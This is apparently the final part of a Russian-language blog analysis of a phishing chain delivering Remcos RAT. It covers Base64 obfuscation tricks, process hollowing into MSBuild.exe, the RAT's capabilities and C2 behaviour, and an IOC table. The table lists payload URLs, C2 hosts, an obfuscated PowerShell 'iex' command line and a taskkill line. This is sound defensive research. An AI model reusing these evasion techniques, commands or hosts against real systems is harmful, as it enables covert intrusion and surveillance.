Дальше начинается интересное. В отчёте про этот слой я отдельно отметил одну деталь, потому что она показывает уровень паранойи разработчика лоадера. В лоадере из предыдущего слоя перед декодированием Base64 делается замена: подстроки fTre и DTre меняются на /d.

Это не какая-то косметика. Это порча алфавита Base64. Прямолинейный декодер, который просто берёт строку и пробует её декодировать, спотыкается и падает. Прямолинейная сигнатура, которая ищет TVqQ в тексте, ничего не находит, потому что в строке TVqQ нет — есть TVqU или что-то похожее, потому что часть символов принудительно испорчена.

Замена делается после разворота строки. Это важно: если сделать её до разворота, поменяются не те символы. И если об этом не знать, легко решить, что строка битая, и отложить образец в сторону.

Причём в конкретном образце, который попал ко мне, эта замена, судя по всему, не задействована — хвост развёрнутой строки заканчивается на TVqQ без всяких fTre. Но декодер её всё равно делает, потому что код написан универсально.

После разворота, замены (если нужно) и декодирования Base64 получается PE-файл. Размер — около шестисот шестидесяти килобайт. Это уже не сборка .NET, как в предыдущем слое, а полноценный нативный исполняемый файл, собранный Microsoft Visual C++ — линкер четырнадцатой версии, если судить по метаданным.

MZ - два символа, которые говорят, что ты идешь правильно.
MZ - два символа, которые говорят, что ты идешь правильно.

И это тот самый файл, ради которого вся цепочка и строилась. Именно его сборка из предыдущего слоя распакует в память легитимного MSBuild.exe и запустит оттуда. А что это за файл — тема следующего, финального слоя.

Отдельно хочу остановиться на вопросе, который может возникнуть в голове: почему вообще сработала вся эта конструкция с .txt? Ведь на выходе у нас должен быть PE, а не текст. Разве нельзя было просто отдать PE?

Можно. Но тогда его надо отдавать как application/octet-stream, и тогда любой антивирус, любой сетевой сканер, любой прокси с контент-фильтрацией получит бинарник и применит к нему свои обычные правила. А что там в бинарнике — вопрос отдельный, но сам факт «скачивается .exe по HTTP с непонятного IP» уже привлекает внимание.

А текстовый файл размером 880 килобайт? Сканеры контента смотрят на размер, но 880 КБ — это не аномалия. Бывает и больше. Сканеры сигнатур смотрят на начало файла, а начало — ==AAAA — на MZ не похоже. Антивирусы по хэшу сравнивают — а хэш свежий, в базы не попал. И вроде бы всё нормально, файл себе скачивается, никаких вопросов.

Обратная сторона этой медали — то, что декодирование приходится делать на стороне получателя. То есть лоадер обязан знать, что строка развёрнута, что надо поменять fTre на /d и так далее. Это увеличивает размер лоадера и усложняет его логику, но разработчик лоадера, судя по всему, считает это приемлемой платой. Логика у него не в первый раз такая.

И последнее, что хочу отметить про этот слой. Файл dbjdfmd.txt — это транспортный контейнер, в котором лежит финальная нагрузка. У контейнера есть свой хэш. У содержимого — свой. Хэш содержимого на момент разбора отсутствовал в VirusTotal (на 13.10.2026 уже имеется). Совсем. Ни одного срабатывания, ни одного упоминания.

Это не значит, что нагрузка безвредна. Это значит, что её собрали недавно и в этой конкретной конфигурации ещё никто не ловил. Такие сэмплы — самая интересная категория для анализа: не потому, что они принципиально новые по технике, а потому что они показывают, как злоумышленник адаптирует уже известные приёмы к текущим средствам защиты.

Собственно, что и подтвердилось — внутри оказался Remcos. Но об этом в следующем слое.

Слой 6. Remcos в MSBuild

Вот мы и дошли до финала. Сборка из четвёртого слоя получила текстовый файл, развернула его, декодировала Base64 и теперь держит в руках шестьсот с лишним килобайт нативного PE. Осталось последнее — запустить его так, чтобы никто не заметил.

И вот здесь начинается самое изящное в этой цепочке. Потому что «запустить PE» — это тривиально, а «запустить PE так, чтобы в диспетчере задач его не было, а в списке процессов висел бы подписанный Microsoft файл» — это уже искусство.

Перед тем как что-то инжектить, сборка делает одну простую вещь. Скрытно запускает cmd.exe, который убивает три процесса: RegAsm.exe, Vbc.exe и MsBuild.exe.

Со стороны это выглядит странно: зачем убивать процессы, которые, скорее всего, даже не запущены? Ответ простой — на всякий случай. Сборка рассчитана на то, что её могут запустить повторно на уже заражённой машине. Тогда в памяти будет висеть контейнер от предыдущего запуска, и его надо аккуратно снять перед тем, как создавать новый. Заодно убиваются и легитимные процессы, если они были: если у пользователя в этот момент шла сборка .NET-проекта, она упадёт. Неприятный побочный эффект, но оператора он, судя по всему, не волнует.

Дальше — ключевой выбор. Сборка создаёт процесс C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe в приостановленном состоянии. Именно в него будет загружена финальная нагрузка.

Почему MSBuild? Потому что это один из самых удобных контейнеров для инъекции, и вот почему.

  1. Это подписанный Microsoft бинарник. Он лежит в системной папке, у него валидная цифровая подпись, его хэш в белых списках. Правила, которые банят неподписанные процессы, его пропустят.

  2. Он всегда есть на машинах, где установлен .NET Framework. А .NET Framework есть почти везде. Не надо тащить с собой ничего лишнего, не надо полагаться на то, что на хосте найдётся что-то специфическое.

  3. Он сам ходит в сеть. MSBuild умеет восстанавливать NuGet-пакеты, общается с репозиториями, качает зависимости. Правило «если MSBuild пошёл в сеть — это подозрительно» утонет в легитимном шуме на любой машине разработчика.

  4. Его вызов из PowerShell не выглядит дико. Разработчики и CI-пайплайны делают это постоянно. Аналитик, который видит powershell.exe → MSBuild.exe, может задуматься, но не факт, что зацепится.

 В сумме получается идеальный контейнер. Легитимный, доступный, сетевой, скучный.

Механизм — классический process hollowing. Сборка создаёт MSBuild в приостановленном состоянии, потом читает у него контекст главного потока, находит в PEB (Process Environment Block) адрес базового образа, отвязывает от процесса оригинальный образ MSBuild, выделяет в его адресном пространстве память под новый образ, записывает туда заголовки и секции финальной нагрузки, правит базовый адрес в PEB, восстанавливает контекст потока и запускает его снова.

Немного про process hollowing

Скрытый текст

Если искать аналогию, то это такой процесс заражения очень похож на зомби вирус. Но не стоит путать с процессами-зомби в Unix: они там давно мёртвы и просто занимают строчку в таблице. А наш MSBuild жив и очень занят: у него прежнее имя, подпись Microsoft и родной путь на диске, но «мозг» ему уже заменили, поведение совсем другое. Однако для "людей" он по прежнему выглядит как "человек". Сначала процесс создаётся в приостановленном состоянии, затем из его адресного пространства вынимается оригинальный образ, на его место записывается чужая нагрузка, в PEB правится базовый адрес, и поток запускается снова. Для системы всё выглядит как ничего не случилось. Выдаёт подмену только то, что код в памяти перестал совпадать с файлом на диске.

Всё это делается через нативные вызовы Windows: CreateProcessA, GetThreadContext, ReadProcessMemory, ZwUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, VirtualProtectEx, SetThreadContext, ResumeThread. Причём имена нужных DLL не лежат в сборке открытым текстом — они закодированы в Base64 (kernel32, ntdll), чтобы сигнатуры по строкам не находили. Функции разрешаются через GetProcAddress и превращаются в делегаты.

После ResumeThread в системе работает процесс с именем MSBuild.exe, с легитимной подписью Microsoft, с правильным путём. И внутри этого процесса — совершенно другой код.

А внутри — Remcos RAT версии 7.3.1 Pro. Это не «стилер на коленке» и не одноразовая самоделка. Remcos — коммерческий продукт, который продаётся на легальном сайте как «средство удалённого администрирования», и уже много лет используется как полноценный RAT. Функциональность соответствует: это не «украсть пароли и уйти», это «получить полный контроль над машиной».

Remcos
Remcos

Что он умеет:

  1.  Кейлоггер, причём в двух режимах. Онлайн — прямо в момент набора, с перехватом через SetWindowsHookEx. Оффлайн — с накоплением в файл, если связи с оператором нет.

  2. Скриншоты через GDI и GDI+: BitBlt, GetDIBits, GdipSaveImageToStream. Картинки складываются в отдельную папку.

  3. Запись с микрофона через waveInOpen, waveInStart, waveInAddBuffer. То есть да, он может слышать, что происходит в комнате.

  4. Буфер обмена — чтение и запись. То, что пользователь копирует, оператор видит.

  5. Управление вводом — SendInput, mouse_event, SetForegroundWindow. Можно двигать мышь и нажимать клавиши от имени пользователя.

  6. Файлы, реестр, процессы — полный набор: перечисление, чтение, запись, удаление, запуск.

  7. Загрузка и запуск дополнительных файлов — URLDownloadToFileW, InternetOpenUrlW, ShellExecuteW. Если оператору нужно что-то доставить вторым эшелоном — пожалуйста.

  8. Обход UAC через COM-elevation moniker (CoGetObject) — стандартный приём, чтобы поднять привилегии до администратора при первом удобном случае.

  9. Данные браузеров — Chrome, Brave, Opera, Opera GX. Пути к профилям прописаны явно.

  10. И перезагрузка с выключением через ExitWindowsEx. Полный контроль над машиной, в общем.

Сетевая модель — обратный коннект. И это важно. Если посмотреть на импорт из сетевых функций, там есть socket, getaddrinfo, connect, send, recv. И нет bind, listen, accept. Функций открытия порта на локальной машине нет вообще.

Это значит, что Remcos не слушает входящие соединения. Он стучится сам. На адрес из конфига, на порт 2404, по TCP. Без TLS — в этой сборке TLS выключен, соединение идёт открытым текстом со собственным протоколом Remcos. После установления соединения он отправляет регистрационный пакет со сведениями о машине, получает подтверждение и держит сессию открытой. Команды оператора приходят в тот же сокет.

Для защитных средств это означает, что ловить его надо на исходящем соединении. По сигнатуре трафика, по порту, по аномалии «MSBuild.exe стучится на IP, который никогда не был адресом Microsoft».

А теперь — самая интересная часть. И в этой цепочке, и в самой сборке Remcos есть режимы, которые включены не были.

  1. У лоадера из четвёртого слоя параметр закрепления стоял в нуле. Это значит: ни файла в %ProgramData%, ни записи в Run или RunOnce. После перезагрузки машины всё исчезает — до тех пор, пока пользователь снова не запустит .js.

  2. Watchdog тоже выключен. Тот самый сторожевой bat-файл, который раз в 70 секунд проверяет, жив ли контейнер, и перезапускает цепочку при необходимости, — его нет.

  3. У самого Remcos флаг установки тоже стоит в нуле. Он не копирует себя на диск, не прописывается в автозапуск. Просто работает из памяти, пока работает. Это не случайность. Это осознанный выбор в пользу «короткой» кампании: зайти, поработать, уйти. Такая схема меньше палится, потому что не оставляет долгоживущих артефактов.

И маленькая деталь напоследок, которая важна для аналитика. У Remcos нет единого «серийного номера» для всех покупателей. У каждой лицензии свой идентификатор, который вшивается в сборку и попадает в конфиг. Две сборки Remcos с одинаковым ID лицензии — почти наверняка один и тот же покупатель.

 Это значит, что по ID лицензии можно пивотить. Если он встречался в публичных отчётах раньше — есть шанс связать кампании. Если не встречался — это свежий IOC, который, возможно, через несколько месяцев всплывёт где-то ещё. В наш конкретный разбор эта связка не приходила, и утверждать что-либо про оператора я не берусь. Но сама по себе метка интересная.

Что осталось за кадром

Любой разбор — это всегда рассказ о том, что удалось увидеть, и умолчание о том, что осталось за пределами видимости. В этом конкретном случае за кадром осталось несколько вещей, которые стоит обозначить честно, чтобы у читателя не создалось ложного ощущения полноты картины.

Вектор доставки .js. Как именно файл с именем dTSlkj83JJD.js попал ко мне, я не раскрываю. Для разбора самой цепочки это не нужно. Но для понимания масштаба кампании это важно: именно с первого звена начинается всё, что можно перекрыть заранее. .

Активность инфраструктуры не проверялась. Я не подключался ни к одному из C2 и не проверял, живы ли они. На момент анализа домены Remcos резолвились, но это единственное, что можно сказать без риска для себя и без риска спугнуть оператора. Проверка живости C2 — отдельная задача, и делать её надо аккуратно, пассивно, через публичные источники, а не активным сканированием порта.

Атрибуция — открытый вопрос. Я не могу сказать, кто за этим стоит. Лоадер из четвёртого слоя — ходовой инструмент, который встречался в других цепочках с другими финальными нагрузками. Remcos — коммерческий продукт, который покупают самые разные люди. Единственная зацепка, которая потенциально могла бы связать эту кампанию с другими, — идентификатор лицензии Remcos. Но это тема отдельного исследования, и делать выводы по одному сэмплу я не берусь.

И, наконец, сам анализ был статическим. Ни одна стадия не запускалась, ни в песочнице, ни на изолированной машине. Это дало мне возможность увидеть цепочку целиком и описать все режимы, которые в ней заложены, но не дало ответа на некоторые поведенческие вопросы. Например, виден ли всё-таки cmd.exe при запуске через WMI, или параметр ShowWindow в этой конфигурации действительно не срабатывает. В статике этот вопрос остаётся открытым.

Оговорка

Скрытый текст

Стоит пояснить, что для статьи все же динамика была. Нужны были скриншоты и в целом поджтверждение выводов статики.

 Это нормальная ситуация для подобных разборов. Идеально полного анализа не бывает: всегда что-то остаётся за кадром — либо потому что данных нет, либо потому что их сбор требует отдельного этапа, либо потому что ответ лежит за пределами безопасного исследования. Важно не делать вид, что этого не существует, а честно обозначать границы.

Послесловие

 Если попробовать сформулировать главное в одном абзаце, получится так. Перед нами не вирус и не эксплойт, а конструктор. Шесть слоёв, каждый из которых сам по себе почти безобиден: скрипт с мусорным кодом, переменная окружения, короткий PowerShell, обычная картинка, текстовый файл, легитимный системный процесс. Ни один из этих элементов по отдельности не выглядит как нечто, заслуживающее немедленной реакции. А вместе они образуют работающую цепочку доставки полноценного RAT.

Именно в этом суть современного подхода к атакам через фишинг. Давно прошли времена, когда для заражения достаточно было прислать пользователю .exe с говорящим именем. Сегодня цепочка строится так, чтобы на каждом этапе у защитного средства был повод сказать «это не наша проблема». Скрипт — это не наша проблема, он не EXE. Переменная окружения — это не наша проблема, мы такое не логируем. Картинка — это не наша проблема, это картинка. Текстовый файл — это не наша проблема, там просто текст. MSBuild — это не наша проблема, это подписанный Microsoft бинарник.

Отдельно стоит сказать про тумблеры. Оператор цепочки оставил себе несколько возможностей, которые в этой кампании не использовал: закрепление, watchdog, копирование Remcos на диск, автозапуск. Каждая из них включается одним параметром. То, что мы видим, — это лайт-версия, выбранная под конкретную задачу. Осознание этого факта важно по двум причинам. Во-первых, потому что защита, настроенная только против того, что видно в этом конкретном сэмпле, может не сработать против следующего — где тумблеры уже переключены. Во-вторых, потому что если у вас в телеметрии были похожие артефакты — те же картинки с голых IP, те же текстовые файлы аномального размера, те же MSBuild с сетевыми соединениями — нет никаких гарантий, что там тоже было всё выключено. Возможно, на том хосте включали и закрепление, и watchdog, и копирование на диск.

Свежесть образца — отдельная история. На момент разбора ни одного из хэшей не было в VirusTotal. Это не значит, что техника новая, — движок Remcos известен годами, лоадер описан в публичных отчётах, приёмы обфускации давно в учебниках. Это значит, что данная конкретная комбинация компонентов ещё не попадалась никому. Именно в таких сэмплах и живёт практическая ценность: они показывают, как известные вещи пересобираются в чуть-чуть другую форму и снова проходят мимо защитных средств.

И последнее, что хочется сказать. Читая такие разборы, легко попасть в ловушку и подумать, что вот сейчас мы разложили всё по полочкам, теперь-то всё понятно, теперь-то мы знаем, как это ловить. На самом деле знание одного сэмпла — это не знание класса атак. Разработчик всей этой цепочки, скорее всего, уже адаптировал её под то, что прочитал в предыдущих разборах, и следующий образец будет немного другим. Гонка не заканчивается, она просто переходит на следующий круг.

IOC

Файлы

Объект

SHA256

MD5

1

dTSlkj83JJD.js

efcca24e16aa3f38494afddfd5372d09dc9eaac07778fbd7e8e5deb09a155a4

bac2291f98a691f66ff13a70afd932b0

4

myprogram.exe

75fb6e1ed42895e5e0385b6900fe73617c45f2243fb56f8044c04b6f6ee9660d

34742cb72fb9202029303b21ac75d1a6

5

dbjdfmd.txt

116b783c49b924ce6d049b5f5c00346c8d4b7fe679e0452e1d24c0b33c31cf43

307bda53b8b32e6343cf0da4b6fd9ff5

6

Remcos 7.3.1 Pro

17425ec04e72b56629b811fed411f429c102bb773cf74d9e7493e561750706f2

0aec82f3f4452f9ab522f1378189ba7a

Сеть

Индикатор

Роль

http://64.224.17.115/img/1.jpg

слой 3 → слой 4

http://217.60.76.249:8080/1.jpg

слой 3 → слой 4

http://104.223.84.34/1.jpg

слой 3 → слой 4

nd.tdpqnf.com

хостинг финального пейлоада

http://nd.tdpqnf.com/sxpl/dbjdfmd.txt

слой 4 → слой 6

192.159.99.168:2404

C2 Remcos

www.phongketaonduchuylogistics.com:2404

C2 Remcos

www.phongketaonduchuylogistics1.com:2404

C2 Remcos

www.phongketaonduchuylogistics2.com:2404

C2 Remcos

pro.ip-api.com/line/?key=QPVvv1rHQJD2pd2

геолокация. Встречается во многих сборках Remcos, как признак кампании слабый

Хост

Индикатор

Где

HKCU\Environment\dSkoAdAFz

реестр, существует секунды. Ловится только телеметрией записи в реестр

Командная строка powershell.exe ^&([char[]](105,101,120)-join'') $env:dSkoAdAFz

создание процесса

Цепочка WmiPrvSE.exe → cmd.exe → powershell.exe

создание процесса

csc.exe с родителем powershell.exe, класс PhantoggfnNOtg

Add-Type в stage 3

cmd.exe /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F

создание процесса

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe без аргументов, родитель powershell.exe, исходящий TCP 2404

процесс + сеть

Mutex Rmc-ZZN75B

память

HKCU\Software\Rmc-ZZN75B (значения exepath, licence)

реестр, ключ Remcos

logs.dat, каталоги Screenshots, MicRecords

файловая система (данные Remcos)

%TEMP%\wrfgdfjdse.bat

файл watchdog лоадера (в этой конфигурации не создаётся)

Значения RunOnce/Run из 10 случайных символов [a-oFAS], указывающие на `%ProgramData%*.bat

vbs

Комментарии (0)